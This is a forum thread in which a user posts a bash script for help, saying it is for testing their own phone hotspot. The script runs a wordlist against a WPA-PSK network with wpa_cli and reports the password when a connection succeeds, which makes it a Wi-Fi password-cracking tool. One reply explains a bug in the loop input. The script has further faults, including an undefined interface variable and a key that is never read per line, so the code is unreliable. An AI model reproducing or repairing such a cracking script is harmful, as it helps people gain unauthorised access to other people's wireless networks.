Jump to content

is anyone good with bash shell scripting


king

Recommended Posts

ok i neead help with this code, am trying to test out the strength of my phones hotspot and my skills f coding

#!/bin/bash
echo "What ssid";read ssid;
echo "wordlist";read pass;
key=$(cat $pass)
echo "What interface";read wlan;

while IFS='' read -r line || [[ -n $line ]];
do
killall wpa_supplicant > /dev/null 2>&1

for i in `wpa_cli -i${wlan} list_networks | grep ^[0-9] | cut -f1`;
do
wpa_cli -i${wlan} remove_network $i > /dev/null 2>&1
done

wpa_cli -i${wlan} add_network > /dev/null 2>&1
wpa_cli -i${wlan} set_network 0 auth_alg OPEN > /dev/null 2>&1
wpa_cli -i${wlan} set_network 0 key_mgmt WPA-PSK > /dev/null 2>&1
wpa_cli -i${wlan} set_network 0 proto RSN > /dev/null 2>&1
wpa_cli -i${wlan} set_network 0 mode 0 > /dev/null 2>&1
wpa_cli -i${wlan} set_network 0 ssid '"'${ssid}'"' > /dev/null 2>&1


cat $pass | while IFS='' read -r line || [[ -n $line ]];
do
echo "checking $key"
wpa_cli -i${int} set_network 0 psk '"'${key}'"' > /dev/null 2>&1
wpa_cli -i${int} select_network 0 > /dev/null 2>&1
wpa_cli -i${int} enable_network 0 > /dev/null 2>&1
wpa_cli -i${int} reassociate > /dev/null 2>&1
for i in {1..6};
do
wifi=$(wpa_cli -i${wlan} status | grep wpa_state | cut -d"=" -f2)
if [ "$wifi" == "COMPLETED" ];
then
echo "password=$key"
fi
sleep 2
done
done < "$pass"

Link to comment
Share on other sites

Your while loop is given the $pass variable's content twice, once via 'cat' at the beginning (meaning it names a file, and you want to pipe in the contents of that file) and once at the end (meaning you want the actual value of that variable). Don't know what you want to do, but I'd look there.
For future reference, encase code in

 blocks as it also gives you syntax highlighting and indentation sticks, plus I highly recommend against creating two topics on the same thing (you could've closed one of them once you realized your mistake).

Edit: The "=auto:0" bit in that code tag gets auto-inserted. Just code between square brackets is sufficient.

Edited by Cooper
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...